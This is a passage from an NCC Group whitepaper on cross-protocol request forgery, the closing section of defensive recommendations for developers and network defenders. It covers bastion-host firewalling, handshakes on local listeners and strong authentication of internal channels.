Takeaways for Developers and DefendersFirst and foremost, anyone who develops network-facing applications or configures network infrastructure should beaware that a simple firewall is not enough to prevent remote exploits of insecure software. Internal web applicationsmust be held to the same standard of security as external web applications in order to prevent them from beingtargeted by CSRF and SSRF.

At an infrastructure level, organizations should consider architecting their networks to completely prevent webbrowsers from making requests to non-web applications. For example, firewalling all ports except 80 and 443 into avirtual network which is accessible only via a bastion host will prevent cross-protocol attacks from employeemachines.Non-HTTP services can then be accessed via the bastion host, but will not be vulnerable to attacks from web browsersor SSRF in servers outside the virtual network. This does not represent a full solution to the problem, but is a solid firstline of defense.

At an application level, CPRF vulnerabilities can be prevented by ensuring that all local listeners require a handshakebefore exchanging messages. This type of handshake can be as simple as a back-and-forth “hello,” but failed ormalformed handshake messages must cause the connection to be immediately closed. Essentially, it needs to beimpossible to replicate a valid handshake using HTTP. Most importantly, developers must consider the possibility ofmalicious requests beingmade to their network listeners - even if those listeners are on a private network, or only listenon localhost. Strongly authenticating these channels (rather than relying on the security of the network) is absolutelycritical.

16 | Cross-Protocol Request Forgery NCC Group